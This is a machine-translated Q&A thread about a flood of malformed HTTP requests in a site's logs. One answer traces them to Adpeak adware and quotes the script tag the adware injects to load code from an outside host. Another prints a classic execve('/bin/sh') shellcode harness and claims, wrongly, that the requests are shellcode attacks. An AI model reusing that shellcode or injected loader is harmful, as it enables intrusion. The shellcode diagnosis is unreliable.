谁能认出这种格式错误的 HTTP 请求突然涌入?

信息安全 http 网络扫描仪
2021-08-20 00:09:06

从大约 3 周前开始,我的网站开始收到来自用户的大量奇怪且重复出现的 http 请求。

我熟悉每天发生的恶意扫描,但这些请求似乎有所不同,我相信它的某些浏览器、扩展程序或 javascript 故障,而不是任何恶意。

这是来自一个用户的请求的一个小样本(尽管它会影响各种用户代理和用户)

[22/Jul/2014:20:57:49 +0100] "GET /groups/%60%EF%BF%BD%18%01?o=3&g=&s=&z=\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-X? HTTP/1.1" 404 723  "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" "-"
[22/Jul/2014:20:58:11 +0100] "GET /members/%EF%BF%BD%EF%BF%BD%18%01?o=3&g=&s=&z=\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-X? HTTP/1.1" 404 5176  "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" "-"
[22/Jul/2014:20:58:45 +0100] "GET /%EF%BF%BD%EF%BF%BD%18%01?o=3&g=&s=&z=\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-X? HTTP/1.1" 404 5345  "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" "-"
[22/Jul/2014:20:59:18 +0100] "GET /groups/%EF%BF%BD%EF%BF%BD%18%01?o=3&g=&s=&z=\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-X? HTTP/1.1" 404 723  "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" "-"
[22/Jul/2014:20:59:41 +0100] "GET /groups/%EF%BF%BDi%19%01?o=3&g=&s=&z=\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-X? HTTP/1.1" 404 723  "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" "-"
[22/Jul/2014:21:00:06 +0100] "GET /%EF%BF%BDg%19%01?o=3&g=&s=&z=\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-X? HTTP/1.1" 404 5008  "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" "-"
[22/Jul/2014:21:00:30 +0100] "GET /%EF%BF%BDc%19%01?o=3&g=&s=&z=\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-X? HTTP/1.1" 404 4991  "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" "-"
[22/Jul/2014:21:01:35 +0100] "GET /%EF%BF%BD%EF%BF%BD%18%01?o=3&g=&s=&z=\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-X? HTTP/1.1" 404 5167  "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" "-"
[22/Jul/2014:21:03:08 +0100] "GET /%EF%BF%BD%EF%BF%BD%18%01?o=3&g=&s=&z=\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-X? HTTP/1.1" 404 5129  "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" "-"
[22/Jul/2014:21:04:35 +0100] "GET /groups/%EF%BF%BDj%19%01?o=3&g=&s=&z=\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-X? HTTP/1.1" 404 723  "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" "-"
[22/Jul/2014:21:05:21 +0100] "GET /%EF%BF%BDf%19%01?o=3&g=&s=&z=\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-X? HTTP/1.1" 404 5271  "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" "-"
[22/Jul/2014:21:07:01 +0100] "GET /groups/%EF%BF%BDc%19%01?o=3&g=&s=&z=\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-X? HTTP/1.1" 404 723  "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" "-"
[22/Jul/2014:21:12:44 +0100] "GET /P%EF%BF%BD%16%01?o=3&g=&s=&z=\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-X? HTTP/1.1" 404 5161  "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" "-"
[22/Jul/2014:21:13:04 +0100] "GET /%EF%BF%BDO%0F%01?o=3&g=&s=&z=\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-X? HTTP/1.1" 404 5328  "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" "-"
[22/Jul/2014:21:13:52 +0100] "GET /groups/0%EF%BF%BD%18%01?o=3&g=&s=&z=\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-X? HTTP/1.1" 404 723  "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" "-"
[22/Jul/2014:21:14:14 +0100] "GET /groups/%EF%BF%BD%EF%BF%BD%18%01?o=3&g=&s=&z=\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-X? HTTP/1.1" 404 723  "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" "-"
[22/Jul/2014:21:14:34 +0100] "GET /@%EF%BF%BD%16%01?o=3&g=&s=&z=\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-X? HTTP/1.1" 404 5347  "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" "-"
[22/Jul/2014:21:15:04 +0100] "GET /@%EF%BF%BD%16%01?o=3&g=&s=&z=\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-X? HTTP/1.1" 404 4942  "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" "-"
[22/Jul/2014:21:15:11 +0100] "GET /groups/%EF%BF%BD%18%01?o=3&g=&s=&z=\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-X? HTTP/1.1" 404 723  "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" "-"
[22/Jul/2014:21:16:05 +0100] "GET /p%EF%BF%BD%18%01?o=3&g=&s=&z=\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-X? HTTP/1.1" 404 5020  "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" "-"
[23/Jul/2014:01:11:58 +0100] "GET /%EF%BF%BD%07%1B%01?o=3&g=&s=&z=\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-\x//\x,/\x,-X? HTTP/1.1" 404 4877  "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" "-"

我详细研究过它,但画的是空白。这是我到目前为止得出的结论......

  • 这些请求中的大多数来自登录我网站的长期用户,并且他们都开始在同一时间发送它们

  • 我开始记录请求方法,它们都是标准的 http 而不是故障的 XMLHttp 调用

  • 我隔离了一些似乎经常发送它们的用户,并开始记录我之前发送给他们的页面的 HTML。我相当有信心在我的 HTML 中没有任何东西可以提示他们的浏览器生成这些请求。我的网站和数据库完全是 utf-8。我也相信我的网站没有受到损害,并且我不提供来自第三方的脚本或广告,除了谷歌分析。

  • 它们始终包含 %EF%BF%BD,它是 UTF-8 替换字符字节的十六进制表示 (EF BF BD) 的编码版本

  • 请求总是包含 GET 参数 o, g, s, z

  • 它不会发生在所有用户身上,我无法在各种 Windows、Mac 或移动浏览器上重现。

  • 对于某些用户,当用户浏览我的网站时,大约 40% 的时间会跟进这些请求中的一个或多个(访问与其先前有效请求相同的目录)

我希望对此有所帮助,也许有人会查看参数并识别出可能导致它的原因

我能想到的可能解释是:

  • 一些 jquery 回归(但它们不是 ajax 请求)
  • 谷歌地图的一些回归(无法重现)
  • 也许是一个流行的浏览器扩展突然开始失控
3个回答

这些请求是由 Adware:Win32/Adpeak 故障引起的(是的,信不信由你,即使是恶意软件也会发生故障)。

它在受感染的系统上设置代理服务器,script在所有通过它的 HTML 内容中注入标签,类似于

<script type="text/javascript" id="2f2a695a6afce2c2d833c706cd677a8e" src="http://d.lqw.me/xuiow/?g=750C2C5B-CF42-6996-0E5A-306165564128&s=F5D333A8-C748-4686-AE0A-9E008F670C22&z=1384886096"></script>

在某些特定情况下,主机名和GET参数的值可能会损坏,这时您会看到诸如 OP 在日志中发布 404 之类的请求。

在 SO的相关线程中阅读更多内容。

由于所有请求都以“404 Not Found”状态失败,因此请尝试创建一个自定义 404 错误页面,该页面将记录所有内容(所有标头、请求、用户会话)并对其进行调试,看看实际请求是否来自来自所有用户的少数用户的 Web 浏览器(客户端计算机上的病毒、木马等)被破坏,仅来自登录到您网站的用户或试图发起一些攻击以针对您的应用程序的人。

如果这是客户端的问题,除了跟踪它并确保它不会影响您的应用程序之外,您无能为力。

另一方面,如果这是您方面的问题(服务器或应用程序),这应该至少可以让您分析一些解决问题的起点。

这是一些基本的自定义 404 执行此操作:

<?php
/**
 * File: CustomError404.php
 * Custom 404 error page
 */

// Set the proper headers
if (!function_exists('http_response_code')) {
    header($_SERVER["SERVER_PROTOCOL"]." 404 Not Found");
    header("Status: 404 Not Found");
} else {
    http_response_code(404);
}

// Log whatever here...
$logMessage  = '**************************************************************' . PHP_EOL;
$logMessage .= '** Full request log - ' . date('Y-m-d H:i:s') . PHP_EOL;
$logMessage .= '**************************************************************' . PHP_EOL;
$logMessage .= "ALL HEADERS: " . PHP_EOL . print_r(getallheaders(), true);
$logMessage .= "REQUEST: " . PHP_EOL . print_r($_REQUEST, true);
$logMessage .= "SESSION: " . PHP_EOL . print_r($_SESSION, true);
$logMessage .= '**************************************************************' . PHP_EOL . PHP_EOL;

// Write the log to a file
$logFile = __DIR__ . '/req_error.log';
file_put_contents($logFile, $logMessage, FILE_APPEND);

// Display a message instead of a blank page
echo "<h1>404 Not Found</h1>";
echo "The page that you have requested could not be found.";
exit();

/* EOF */

要使用它,只需将此文件上传到应用程序的根文件夹并将以下行放入虚拟主机或 .htaccess 配置中:

ErrorDocument 404 /CustomError404.php

您可以进一步自定义此脚本,并尝试过滤并记录具有您感兴趣的特定特征的请求 - 这样您就可以在日志文件中获得所需的内容,而无需过滤大量额外的“好”请求。

让我记住这一点:

char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";

void main() {
   int *ret;

   ret = (int *)&ret + 2;
   (*ret) = (int)shellcode;
}

我认为有一些可疑的机器正试图在您的网站中执行 shellcode。